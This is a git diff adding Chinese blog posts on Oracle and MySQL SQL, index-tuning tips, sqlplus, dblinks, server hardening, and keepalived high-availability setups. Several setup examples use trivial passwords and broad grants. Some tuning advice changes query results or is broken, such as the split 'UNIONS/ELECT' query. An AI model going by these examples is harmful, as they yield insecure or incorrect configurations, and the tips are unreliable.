+ SE.BLOCKING_SESSION, + SQ.OPTIMIZER_COST AS COST_, /* COST 值/ + SE.LAST_CALL_ET CONTINUE_TIME, /*执行时间/ + SE.EVENT, /*等待事件/ + SE.LOCKWAIT, /*是否等待OCK(SE，)*/ + SE.MACHINE, /*客户端的机器名。WORKGROUP\PC-201211082055)*/ + SQ.SQL_ID, /*SQL_ID*/ + SE.USERNAME, /*创建该会话的用户名/ + SE.LOGON_TIME, /*登陆时间/ + 'ALTER SYSTEM KILL SESSION ''' || SE.SID || ',' || SE.SERIAL# || + ''';' KILL --若存在锁情况会用到ILL锁释放 + FROM gV$SESSION SE, /*会话信息。每一个连接到RACLE数据库的会话都能在该视图中对应一条记录，根据该视图中的信息可以查询该会话使用的用户，正在执行或者刚刚执行的QL语句/ + /**/ + gV$SQLAREA SQ /*跟踪所有HARED POOL中的共享URSOR信息，包括执行次数，逻辑读，物理读等/ +WHERE SE.SQL_HASH_VALUE = SQ.HASH_VALUE + AND SE.STATUS = 'ACTIVE' + AND SE.SQL_ID = SQ.SQL_ID + AND SE.USERNAME = SQ.PARSING_SCHEMA_NAME + --过滤条件 + AND SE.USERNAME = 'FWSB' --用户名 + and se.BLOCKING_SESSION is not null; diff --git a/_posts/2024-05-07-645-sql-demo.md b/_posts/2024-05-07-645-sql-demo.md new file mode 100644 index 0000000..b330afb --- /dev/null +++ b/_posts/2024-05-07-645-sql-demo.md @@ -0,0 +1,177 @@ +--- +layout: post +title: sql示例 +pid: 645 +tags: [sql, oracle] +--- + +**前期准备** + +```sql +CREATE DATABASE `db2021` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci */ /*!80016 DEFAULT ENCRYPTION='N' */; + +-- db2021.student_club definition + +CREATE TABLE `student_club` ( + `student_id` varchar(100) NOT NULL, + `club_id` varchar(100) DEFAULT NULL, + PRIMARY KEY (`student_id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; + +-- db2021.student_info definition + +CREATE TABLE `student_info` ( + `student_id` varchar(100) NOT NULL, + `gender` varchar(100) DEFAULT NULL, + PRIMARY KEY (`student_id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; + +INSERT INTO db2021.student_club (student_id,club_id) VALUES + ('1001','A01'), + ('1003','A01'), + ('1004','A02'), + ('1005','A02'); + +INSERT INTO db2021.student_info (student_id,gender) VALUES + ('1001','male'), + ('1002','male'), + ('1003','female'); + +``` + + + + + +**写法一** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + left join + student_info si on sc.student_id = si.student_id ; + +student_id|club_id|gender| +----------+-------+------+ +1001 |A01 |male | +1003 |A01 |female| +1004 |A02 | | +1005 |A02 | | +``` + + + +执行顺序 + +首先从student_club取出所有数据，然后根据on后面的条件从student_info取出符合条件的数据。 + +**写法二** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + left join + student_info si on sc.student_id = si.student_id and si.gender = 'female'; + +student_id|club_id|gender| +----------+-------+------+ +1001 |A01 | | +1003 |A01 |female| +1004 |A02 | | +1005 |A02 | | +``` + +其实 1001 的gender是有值的，但是因为条件过滤，它没有值了。 + + + +**写法三** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + left join + student_info si on sc.student_id = si.student_id +WHERE si.gender = 'female'; + +student_id|club_id|gender| +----------+-------+------+ +1003 |A01 |female| +``` + +首先从student_club取出数据，然后根据on后面的条件从student_info取出数据，根据where后面的条件对数据进行过滤。 + +**写法四** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + join + student_info si on sc.student_id = si.student_id ; + +student_id|club_id|gender| +----------+-------+------+ +1001 |A01 |male | +1003 |A01 |female| +``` + + + +**写法五** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + join + student_info si on sc.student_id = si.student_id and si.gender = 'female'; + +student_id|club_id|gender| +----------+-------+------+ +1003 |A01 |female| +``` + +**写法六** + +```sql +SELECT + sc.*, si.gender +FROM student_club sc + join + student_info si on sc.student_id = si.student_id +WHERE si.gender = 'female'; + +student_id|club_id|gender| +----------+-------+------+ +1003 |A01 |female| +``` + +表面上看出来的结果和 写法五 是一样的， + +在连接表时，**ON** 和 **WHERE** 的使用场景以及性能上的区别如下： + +使用场景： + +**ON**：在SQL查询中，当使用JOIN（如INNER **JOIN**、**LEFT** **JOIN**、**RIGHT** **JOIN**、**FULL** JOIN等）来连接两个或多个表时，ON子句用于指定连接条件。它告诉数据库如何根据这些条件将表连接在一起。这些条件通常涉及两个表中的列之间的比较。 + +**WHERE**：WHERE子句在连接表后用于过滤结果集。它可以包含任何有效的SQL条件，以限制返回的行。虽然WHERE子句也可以包含连接条件，但在大多数情况下，使用ON子句来指定连接条件会使查询更清晰和易于理解。 + +性能区别： + +从性能的角度来看，ON和WHERE在连接表时的差异主要取决于查询优化器和执行计划。然而，一般来说，当连接条件在ON子句中指定时，数据库可能会更有效地优化查询，因为它可以在生成连接结果之前应用这些条件。 + +另一方面，当连接条件在WHERE子句中指定时，数据库首先会生成完整的连接结果集，然后再应用过滤条件。这可能会导致更大的中间结果集和更高的内存使用，特别是对于大型表或复杂的连接操作。 + +此外，当使用LEFT JOIN或RIGHT JOIN时，ON和WHERE的行为会有所不同。在LEFT JOIN中，ON子句指定的条件用于确定哪些行从右表（或“被连接”的表）包括在结果集中，而WHERE子句用于过滤结果集。如果在WHERE子句中指定了与右表相关的条件，它可能会排除那些在LEFT JOIN中应该出现的行。 + +总结： + +使用ON子句来指定连接条件可以使查询更清晰、更易于理解，并且可能有助于数据库更有效地优化查询。 + +WHERE子句应该用于在连接表后过滤结果集，而不是指定连接条件（除非在隐式连接中使用）。 + +当使用LEFT JOIN或RIGHT JOIN时，请注意ON和WHERE在行为上的差异，以避免意外的结果。 diff --git a/_posts/2024-05-08-646-sql-demo2.md b/_posts/2024-05-08-646-sql-demo2.md new file mode 100644 index 0000000..a6e6d42 --- /dev/null +++ b/_posts/2024-05-08-646-sql-demo2.md @@ -0,0 +1,200 @@ +--- +layout: post +title: sql示例2 +pid: 646 +tags: [sql, oracle] +--- + +全表扫描效率是最低的，比如没有创建索引，或者创建了索引，但是没有正确的去使用。 + +创建索引的目的就是为了使查询语句迅速的定位到数据记录。 + +我们有2个工作需要去做： + +第一，如何正确的创建索引，就是在什么情况下，哪些字段应该创建索引，应该创建什么类型的索引。 + +第二，如何正确的使用索引，就是创建索引之后，你的sql写法会导致索引失效，那就没有意义了。 + +下面的写法，会导致索引失效： + +**避免在索引列上使用NOT**通常，我们要避免在索引列上使用NOT，NOT会产生在和在索引列上使用函数相同的影响。当ORACLE遇到NOT，它就会停止使用索引转而执行全表扫描。 + +```sql +/*低效SQL: (这里，不使用索引)*/ +SELECT * FROM DEPT +WHERE NOT DEPT_CODE = 0 + +/*高效SQL: (这里，使用索引)*/ +SELECT * FROM DEPT +WHERE DEPT_CODE > 0 +``` + +**用 >= 替代 >**如果DEPTNO上有一个索引 + +```sql +/*高效SQL*/ +SELECT * FROM EMP +WHERE DEPTNO >=4 + +/*低效SQL*/ +SELECT * FROM EMP +WHERE DEPTNO >3 +``` + +**用Union替换OR（适用于索引列）**通常情况下，用UNION替换WHERE子句中的OR将会起到较好的效果。对索引列使用OR将造成全表扫描。注意，以上规则只针对多个索引列有效。 + +```sql +/*高效SQL*/ +SELECT LOC_ID , LOC_DESC , REGION +FROM LOCATION +WHERE LOC_ID = 10 +UNIONS +ELECT LOC_ID , LOC_DESC , REGION +FROM LOCATION +WHERE REGION = 'MELBOURNE' + +/*低效SQL*/ +SELECT LOC_ID,LOC_DESC,REGION +FROM LOCATION +WHERE LOC_ID = 10 +OR REGION = 'MELBOURNE' +``` + +**用IN替换OR** + +```sql +/*低效SQL*/ +SELECT * FROM LOCATION +WHERE LOC_ID = 10 +OR LOC_ID = 20 +OR LOC_ID = 30 + +/*高效SQL*/ +SELECT * FROM LOCATION +WHERE LOC_ID in （10，20,30） +``` + +**避免在索引列上使用is null和is not null**避免在索引中使用任何可以为空的列，ORACLE将无法使用该索引。 + +```sql +/*低效SQL：（索引失效）*/ +SELECT * FROM DEPARTMENT +WHERE DEPT_CODE IS NOT NULL; + +/*高效SQL：（索引有效）*/ +SELECT * FROM DEPARTMENT +WHERE DEPT_CODE >=0; +``` + + + +**避免改变索引列的类型** + +当比较不同数据类型的数据时， ORACLE自动对列进行简单的类型转换 + +```sql +/*假设EMP_TYPE是一个字符类型的索引列.*/ +SELECT * +FROM EMP +WHERE EMP_TYPE = 123 + +/*这个语句被ORACLE转换为:*/ +SELECT * +FROM EMP +WHERE TO_NUMBER(EMP_TYPE)=123 +``` + + + +**几种不能使用索引的WHERE子句**（1）下面的例子中，‘!=’ 将不使用索引 ，索引只能告诉你什么存在于表中，而不能告诉你什么不存在于表中。 + +```sql +/*不使用索引*/ +SELECT ACCOUNT_NAME +FROM TRANSACTION +WHERE AMOUNT !=0； + +/*使用索引*/ +SELECT ACCOUNT_NAME +FROM TRANSACTION +WHERE AMOUNT > 0； +``` + +（2）下面的例子中，‘||’是字符连接函数。就象其他函数那样，停用了索引。 + +```sql +/*不使用索引*/ +SELECT ACCOUNT_NAME，AMOUNT +FROM TRANSACTION +WHERE ACCOUNT_NAME||ACCOUNT_TYPE='AMEXA'； + +/*使用索引*/ +SELECT ACCOUNT_NAME，AMOUNT +FROM TRANSACTION +WHERE ACCOUNT_NAME = 'AMEX' +AND ACCOUNT_TYPE='A'； +``` + +（3）下面的例子中，‘+’是数学函数。就象其他数学函数那样，停用了索引。 + +```sql +/*不使用索引*/ +SELECT ACCOUNT_NAME，AMOUNT +FROM TRANSACTION +WHERE AMOUNT + 3000 >5000； + +/*使用索引*/ +SELECT ACCOUNT_NAME，AMOUNT +FROM TRANSACTION +WHERE AMOUNT > 2000 ; +``` + +（4）下面的例子中，相同的索引列不能互相比较，这将会启用全表扫描。 + +```sql +/*不使用索引*/ +SELECT ACCOUNT_NAME, AMOUNT +FROM TRANSACTION +WHERE ACCOUNT_NAME = NVL(:ACC_NAME, ACCOUNT_NAME) + +/*使用索引*/ +SELECT ACCOUNT_NAME，AMOUNT +FROM TRANSACTION +WHERE ACCOUNT_NAME LIKE NVL(:ACC_NAME, ’%’) +``` + +**优化GROUP BY**提高GROUP BY语句的效率，可以通过将不需要的记录在GROUP BY之前过滤掉。 + +```sql +/*低效SQL*/ +SELECT JOB,AVG（SAL）FROM EMP +GROUP BY JOB +HAVING JOB = 'PRESIDENT'' +OR JOB = 'MANAGER' + +/*高效SQL*/ +SELECT JOB,AVG（SAL）FROM EMP +WHERE JOB = 'PRESIDENT' +OR JOB = 'MANAGER' +GROUP BY JOB +``` + +**使用日期**当使用日期时，需要注意如果有超过5位小数加到日期上，这个日期会进到下一天! + +```sql +SELECT TO_DATE（'01-JAN-93'+.99999） +FROM DUAL +结果： +'01-JAN-93 23:59:59' + +SELECT TO_DATE（'01-JAN-93'+.999999） +FROM DUAL +结果： +'02-JAN-93 00:00:00' +``` + + + +参考： + +https://mp.weixin.qq.com/s/QgVeE_RFTUs4btM9RTmw0Q diff --git a/_posts/2024-05-10-647-sqlplus.md b/_posts/2024-05-10-647-sqlplus.md new file mode 100644 index 0000000..cacdd01 --- /dev/null +++ b/_posts/2024-05-10-647-sqlplus.md @@ -0,0 +1,110 @@ +--- +layout: post +title: sqlplus +pid: 647 +tags: [sql, oracle] +--- + +```sql +[oracle@localhost ~]$ sqlplus / as sysdba + +[oracle@localhost ~]$ sqlplus /nolog +SQL> connect / as sysdba +Connected. + +set linesize 500 +set pagesize 200 + +SQL> / 执行上一条sql语句 +``` + + + +```sql +[oracle@localhost ~]$ sqlplus / as sysdba + +SQL*Plus: Release 11.2.0.1.0 Production on Mon May 20 14:16:35 2024 + +Copyright (c) 1982, 2009, Oracle. All rights reserved. + + +Connected to: +Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production +With the Partitioning, OLAP, Data Mining and Real Application Testing options + +SQL> shutdown immediate +Database closed. +Database dismounted. +ORACLE instance shut down. +SQL> startup nomount +ORACLE instance started. + +Total System Global Area 3190132736 bytes +Fixed Size 2217584 bytes +Variable Size 1694501264 bytes +Database Buffers 1476395008 bytes +Redo Buffers 17018880 bytes +SQL> alter database mount; + +Database altered. + +SQL> alter database open; + +Database altered. + +SQL> alter database close; + +Database altered. + +SQL> alter database dismount; + +Database altered. + +SQL> shutdown; +ORA-01507: database not mounted + + +ORACLE instance shut down. +SQL> +``` + + + +```sql +SELECT * FROM v$diag_info; + +INST_ID|NAME |VALUE | +-------+---------------------+---------------------------------------------------------+ + 1|Diag Enabled |TRUE | + 1|ADR Base |/data/oracle | + 1|ADR Home |/data/oracle/diag/rdbms/orcl/orcl | + 1|Diag Trace |/data/oracle/diag/rdbms/orcl/orcl/trace | + 1|Diag Alert |/data/oracle/diag/rdbms/orcl/orcl/alert | + 1|Diag Incident |/data/oracle/diag/rdbms/orcl/orcl/incident | + 1|Diag Cdump |/data/oracle/diag/rdbms/orcl/orcl/cdump | + 1|Health Monitor |/data/oracle/diag/rdbms/orcl/orcl/hm | + 1|Default Trace File |/data/oracle/diag/rdbms/orcl/orcl/trace/orcl_ora_6086.trc| + 1|Active Problem Count |1 | + 1|Active Incident Count|4 | + + +[oracle@localhost ~]$ tail 20 /data/oracle/diag/rdbms/orcl/orcl/trace/alert_orcl.log +``` + +控制文件是二进制文件，无法查看，通过以下命令将控制文件内容转存出来查看一下。 + +```sql +SQL> alter session set events 'immediate trace name controlf level 8'; + +Session altered. + +SQL> select value from v$diag_info where name='Default Trace File'; + +VALUE +-------------------------------------------------------------------------------- +/data/oracle/diag/rdbms/orcl/orcl/trace/orcl_ora_6591.trc + +SQL> + +``` + diff --git a/_posts/2024-05-24-648-dblink.md b/_posts/2024-05-24-648-dblink.md new file mode 100644 index 0000000..c7731a9 --- /dev/null +++ b/_posts/2024-05-24-648-dblink.md @@ -0,0 +1,117 @@ +--- +layout: post +title: dblink +pid: 648 +tags: [sql, oracle] +--- + +remove existing data + +```sql +SQL> SELECT TABLESPACE_NAME, STATUS, CONTENTS FROM DBA_TABLESPACES; +SQL> DROP TABLESPACE tablespace_name INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS; +SQL> SELECT USERNAME FROM DBA_USERS; +SQL> DROP USER user_name CASCADE; +``` + +Create tablespace and user + +```sql +create tablespace TS_PUB +logging +datafile '/data/oracle/oradata/orcl2/ts_pub.dbf' +size 50m +autoextend on +next 50m maxsize 20480m +extent management local; + +create user pub identified by pub default tablespace TS_PUB; + +grant connect, resource to pub; +grant create session to pub; +grant create procedure to pub; +grant create database link to pub; +grant create view to pub; +grant create table to pub; +grant unlimited tablespace to pub; +grant select any table to pub; +grant create trigger to pub; +``` + +```sql +create table USERS +( + USERS_ID varchar(20) not null, + USERS_NAME varchar(20) not null, + USERS_MOBILE varchar(20) null, + USERS_PASSWORD varchar(50) not null +) + +ALTER TABLE USERS +ADD CONSTRAINT PK_USERS PRIMARY KEY (USERS_ID); + +--创建物化日志 +CREATE MATERIALIZED VIEW LOG ON PUB.USERS WITH PRIMARY KEY; + +INSERT INTO users (users_id, users_name, users_mobile,users_password) values('1','zhangsan','13987765656','123'); + +SELECT * FROM PUB.users; +``` + +Create tablespace and user with ent + +```sql +create tablespace TS_ENT001 +logging +datafile '/data/oracle/oradata/orcl2/ts_ent001.dbf' +size 50m +autoextend on +next 50m maxsize 20480m +extent management local; + +create user ent001 identified by 123 default tablespace TS_ENT001; + +grant connect, resource to ent001; +grant create session to ent001; +grant create procedure to ent001; +grant create database link to ent001; +grant create view to ent001; +grant create table to ent001; +grant unlimited tablespace to ent001; +grant select any table to ent001; +grant create trigger to ent001; +GRANT CREATE ANY MATERIALIZED VIEW TO ent001; +grant insert on pub.users to ent001; +grant update on pub.users to ent001; +grant delete on pub.users to ent001; +``` + +Create database Link + +```sql +create database link TO_PUB +connect to pub identified by pub +using '(DESCRIPTION = + (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.52.148)(PORT = 1521)) + (CONNECT_DATA = + (SERVER = DEDICATED) + (SERVICE_NAME = orcl) + ) + )'; +``` + +Create Materialized view + +```sql +create materialized view users +build immediate +refresh fast with primary key +on demand +start with sysdate +next sysdate + 10/(60*24) +as +SELECT * FROM users@TO_PUB; +``` + + + diff --git a/_posts/2024-05-27-649-intro-oracle.md b/_posts/2024-05-27-649-intro-oracle.md new file mode 100644 index 0000000..0baeb5d --- /dev/null +++ b/_posts/2024-05-27-649-intro-oracle.md @@ -0,0 +1,25 @@ +--- +layout: post +title: dblink +pid: 649 +tags: [oracle] +--- + + + +到2023年最稳定版本11g和19c。 + + + +| 版本 | 功能特点 | +| --------- | ---------------------------------------------- | +| Oracle 8i | 正式向互联网发展 | +| **11g** | 企业管理器、自动化诊断工具、自动化性能管理 | +| 12c | 可扩展数据库、多租户架构、数据重放、混合列存储 | +| 18c | 自动机器学习、多云管理、自适应优化器 | +| **19c** | 在线迁移、自适应数据共享、自适应扫描 | +| 21c | 智能化管理、数据共享、大数据支持 | +| 23c | 支持javascript存储过程、支持JSON Schema | + + + diff --git a/_posts/2024-05-27-650-linux.md b/_posts/2024-05-27-650-linux.md new file mode 100644 index 0000000..1aede9e --- /dev/null +++ b/_posts/2024-05-27-650-linux.md @@ -0,0 +1,146 @@ +--- +layout: post +title: 系统安全相关 +pid: 650 +tags: [linux] +--- + +如果公司条件允许，可以聘用专门的安全顾问人员或者咨询公司来管理相关事务，让专业的人做专业的事。 + +如果条件不允许，我们则需要按照下面的内容进行跟进。 + +所有的安全、防护相关的内容，都是冗余方案，企业可以根据自身的资源情况以及所处发展阶段选择合适的安全方案，切记过度浪费。 + +从目前的市场来看，恶意访问和病毒防护主要注意以下几个方面： + +1、云平台 + +选择云平台，比如阿里云、华为云，可以在它们的安全组进行管理。 + +通过禁止控制、允许控制对IP地址和本地端口进行管理。 + +不需要暴露的端口就不要暴露；要暴露的端口要有限度的暴露，比如就针对某个IP地址暴露；必须暴露的端口，要做好应用级别的访问控制。 + +针对恶意访问的IP地址，要及时的、迅速的禁用掉！ + +力度较粗，只能到IP地址和端口 + +钱多的话，也可以用他们的合规组件，这样就更好了。 + +云备份，镜像备份 + +2、主机控制 + +禁用root,禁用22端口等类似操作 + +力度较粗，到IP地址和端口，可以把部分应用的端口改掉比如把22换成9999。 + +3、主机防火墙，比如iptables + +只开启必要的端口，转发等 + +```shell +要禁用来自IP地址192.0.2.1的所有入站流量，你可以使用以下命令： + +sudo iptables -A INPUT -s 192.0.2.1 -j DROP + +PREROUTING链：将到达本机80端口的流量目标地址更改为192.168.1.100的8080端口。 + +iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080 + +POSTROUTING链（可选，但推荐）：如果你的目标机器在内部网络中，并且需要通过网关进行通信，你可能还需要设置SNAT规则来更改数据包的源地址。 +iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.100 --dport 8080 -j SNAT --to-source <你的网关IP> +``` + +Window Server的安全配置，可以做到某个端口只允许某个IP地址访问。 + +4、nginx 配置 + +针对IP地址进行禁用 + +针对具有特征的链接，比如.php等进行deny + +```nginx +location ~ \.php$ { + deny all; + return 403; +} +``` + +```nginx +http { + # ... 其他配置 ... + + server { + listen 80; + server_name example.com; + + # 禁用特定的IP地址 + deny 192.0.2.1; + deny 10.0.0.0/8; # 禁用整个10.0.0.0/8 IP地址范围 + + # 允许所有其他IP地址 + allow all; + + # ... 其他server配置 ... + + location / { + # ... location配置 ... + } + } +} +``` + + + +5、应用配置 + +通过对用户的请求进行权限控制、访问次数控制、禁用控制等。 + +一般情况下从上至下，前面的功能越全，后面要操心的就越少。 + +在构建应用的时候，要构建敏感数据触发机制，比如平时每天发200条短信，今天突然涨到600条，就应该予以告警；比如平时范围量和ip数量是1000，今天突然到5000，就应该告警予以关注； + +1. 开启SSL访问控制 +2. 定期日志分析 +3. 离职员工权限禁用 + +6、数据库 + +1. 关闭常用的用户名比如sys，system等 +2. 不使用常见的密码，比如password1，要使用复杂的密码 +3. 每日定期备份数据库，最好是多地备份 +4. 定期更改密码 +5. + +7、安装病毒防护软件 + +8、公司启用域访问控制 + +9、公司启用门禁防护控制 + +10、公司启用摄像头监控 + +对于敏感区域实行移动物监控 + +11、对于远程用户启用VPN访问控制 + +12、对员工进行安全培训 + +1. 不熟悉的邮件链接不要打开 +2. 不熟悉的短信链接不要打开 +3. 陌生的、有诱惑的视频软件不安装 + + + +有一些必要的防护： + +1. 操作系统漏洞升级 +2. 应用组件、中间件漏洞升级 +3. 尽量选择通用开发框架比如java等成熟框架 +4. 口令设置大小写、特殊字符、长度在8位以上，一般暴力破解要好几年 +5. 常规软件暴露端口要修改掉，比如数据库端口、SSH端口等 +6. + + + diff --git a/_posts/2024-06-05-651-keepalived-nginx.md b/_posts/2024-06-05-651-keepalived-nginx.md new file mode 100644 index 0000000..0c46c37 --- /dev/null +++ b/_posts/2024-06-05-651-keepalived-nginx.md @@ -0,0 +1,304 @@ +--- +layout: post +title: keepalived +pid: 651 +tags: [linux] +--- + + + +## Nginx+keepalived主备模式 + +```shell +systemctl stop firewalld.service +systemctl disable firewalld.service +wget https://www.keepalived.org/software/keepalived-1.3.5.tar.gz +wget http://nginx.org/download/nginx-1.18.0.tar.gz +tar -xf keepalived-1.3.5.tar.gz -C /usr/src/ +tar -xf nginx-1.18.0.tar.gz -C /usr/src/ +``` + + + +```shell +yum -y install gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel libnl libnl-devel libnfnetlink libnfnetlink-devel +useradd -s /sbin/nologin nginx -M +cd /usr/src/nginx-1.18.0/ +./configure --prefix=/usr/local/nginx --user=nginx --group=nginx --with-http_stub_status_module --with-http_ssl_module +make && make install + +vim /etc/profile +export PATH=$PATH:/usr/local/nginx/sbin + +source /etc/profile +nginx -c /usr/local/nginx/conf/nginx.conf +echo "this is 172.16.52.151 page" > /usr/local/nginx/html/index.html +``` + + + +```shell +cd /usr/src/keepalived-1.3.5/ +sudo ./configure --prefix=/usr/local/keepalived/ --with-kernel-dir=/usr/src/kernels/3.10.0-514.el7.x86_64/ +sudo make install +cp /usr/src/keepalived-1.3.5/keepalived/etc/init.d/keepalived /etc/init.d/ +mkdir -p /etc/keepalived +cp /usr/local/keepalived/etc/keepalived/keepalived.conf /etc/keepalived/ +cp /usr/src/keepalived-1.3.5/keepalived/etc/sysconfig/keepalived /etc/sysconfig/ + +vim /etc/profile +export PATH=$PATH:/usr/local/keepalived/sbin +source /etc/profile + +vim /etc/keepalived/keepalived.conf +``` + + + +```shell +! Configuration File for keepalived + +global_defs { + notification_email { + baoguo.ding@foxmail.com + } + notification_email_from root@localhost + smtp_server 127.0.0.1 + smtp_connect_timeout 30 + router_id LVS_DEVEL +} + +vrrp_script chk_nginx { + script "/data/sh/check_nginx.sh" + interval 2 + weight 2 +} + +vrrp_instance VI_1 { + state BACKUP + interface ens33 + virtual_router_id 51 + priority 90 + advert_int 5 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } + track_script { + chk_nginx + } +} +``` + +```shell +mkdir -p /data/sh/ + +vim /data/sh/check_nginx.sh +#!/bin/bash +#auto check nginx process +#by author baoguo +killall -0 nginx +if [[ $? -ne 0 ]];then +service keepalived stop +fi + + +chmod +x /data/sh/check_nginx.sh + +vim /lib/systemd/system/keepalived.service +PIDFile=/var/run/keepalived.pid + +service keepalived start +service keepalived status +service keeplived stop +service keeplived restart +``` + + + +## Nginx+keepalived双主企业架构 + + + +**node1配置** + +```shell +vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + notification_email { + baoguo.ding@foxmail.com + } + notification_email_from root@localhost + smtp_server 127.0.0.1 + smtp_connect_timeout 30 + router_id LVS_DEVEL +} + +vrrp_script chk_nginx { + script "/data/sh/check_nginx.sh" + interval 2 + weight 2 +} + +vrrp_instance VI_1 { + state MASTER + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 51 + priority 100 + advert_int 5 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } + track_script { + chk_nginx + } +} + +vrrp_instance VI_2 { + state BACKUP + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 52 + priority 90 + advert_int 5 + nopreempt + authentication { + auth_type PASS + auth_pass 2222 + } + virtual_ipaddress { + 172.16.52.200 + } + track_script { + chk_nginx + } +} +``` + +**node2配置** + +```shell +vim /etc/keepalived/keepalived.conf +! Configuration File for keepalived + +global_defs { + notification_email { + baoguo.ding@foxmail.com + } + notification_email_from root@localhost + smtp_server 127.0.0.1 + smtp_connect_timeout 30 + router_id LVS_DEVEL +} + +vrrp_script chk_nginx { + script "/data/sh/check_nginx.sh" + interval 2 + weight 2 +} + +vrrp_instance VI_1 { + state BACKUP + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 51 + priority 90 + advert_int 5 + nopreempt + authentication { + auth_type PASS + auth_pass 1111 + } + virtual_ipaddress { + 172.16.52.188 + } + track_script { + chk_nginx + } +} + +vrrp_instance VI_2 { + state MASTER + interface ens33 + lvs_sync_daemon_inteface ens33 + virtual_router_id 52 + priority 100 + advert_int 5 + nopreempt + authentication { + auth_type PASS + auth_pass 2222 + } + virtual_ipaddress { + 172.16.52.200 + } + track_script { + chk_nginx + } +} +``` + + +```shell +service keepalived restart +``` + +```cmd +[root@localhost ~]# ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1387sec preferred_lft 1387sec + inet 172.16.52.200/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever +``` + + + +```cmd +[root@localhost ~]# ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:6c:98:e8 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.152/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1250sec preferred_lft 1250sec + inet 172.16.52.200/32 scope global ens33 + valid_lft forever preferred_lft forever + inet 172.16.52.188/32 scope global ens33 + valid_lft forever preferred_lft forever + inet6 fe80::99d9:7b51:5574:23fe/64 scope link noprefixroute + valid_lft forever preferred_lft forever +``` + +当VIP迁移后，ens33就会多出来IP信息。 + + + +# 参考 + +[keepalive高可用软件配置及详解](https://blog.csdn.net/weixin_45625174/article/details/108600061) diff --git a/_posts/2024-06-05-652-keepalived-mysql.md b/_posts/2024-06-05-652-keepalived-mysql.md new file mode 100644 index 0000000..c4ee946 --- /dev/null +++ b/_posts/2024-06-05-652-keepalived-mysql.md @@ -0,0 +1,696 @@ +--- +layout: post +title: MySQL高可用之KeepAlived双主 +pid: 652 +tags: [linux] +--- + + + +本实例包括mysql的双主配置、keepalived主从配置，keepalived双主配置。 + + + +## 安装mysql5.7 + +```shell +rpm -qa | grep -i mysql +ps ajx | grep mysqld +rpm -qa | grep mysql +rpm -qa | grep mysql | xargs yum -y remove +ll /etc/yum.repos.d +cat /etc/redhat-release +wget http://repo.mysql.com/mysql57-community-release-el7.rpm +rpm -ivh mysql57-community-release-el7.rpm +yum list | grep mysql +ll /etc/yum.repos.d +rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022 +yum install -y mysql-community-server +which mysql +which mysqld +ll /etc/my.cnf +``` + +## 设置mysql root密码 + +```sql +systemctl restart mysqld +sudo grep 'temporary password' /var/log/mysqld.log +mysql -u root -p +ALTER USER 'root'@'localhost' IDENTIFIED BY 'passwrod'; +FLUSH PRIVILEGES; +EXIT; +``` + +## 在node1操作 - Mysql添加配置 + +```shell +[root@localhost ~]# vim /etc/my.cnf +log-bin=mysql-bin +server-id=1 +relay-log=relay-bin +relay-log-index=relay-bin.index +auto_increment_increment=2 +auto_increment_offset=1 + +[root@localhost ~]# systemctl restart mysqld + +[root@localhost ~]# mysql -uroot -p +mysql> grant replication slave on *.* to rep@'172.16.52.%' identified by 'password'; +mysql> flush privileges; +mysql> show master status; ++------------------+----------+--------------+------------------+-------------------+ +| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set | ++------------------+----------+--------------+------------------+-------------------+ +| mysql-bin.000001 | 608 | | | | ++------------------+----------+--------------+------------------+-------------------+ +1 row in set (0.00 sec) + +``` + + + +## 在node2操作 - Mysql添加配置 + +```shell +[root@localhost ~]# vim /etc/my.cnf +log-bin=mysql-bin +server-id=2 +relay-log=relay-bin +relay-log-index=relay-bin.index +auto_increment_increment=2 +auto_increment_offset=2 + +[root@localhost ~]# systemctl restart mysqld + +[root@localhost ~]# mysql -u root +mysql> change master to master_host='172.16.52.151',master_user='rep',master_password='password',master_log_file='mysql-bin.000001',master_log_pos=608; +mysql> start slave; +mysql> show slave status\G +*************************** 1. row *************************** + Slave_IO_Running: Yes + Slave_SQL_Running: 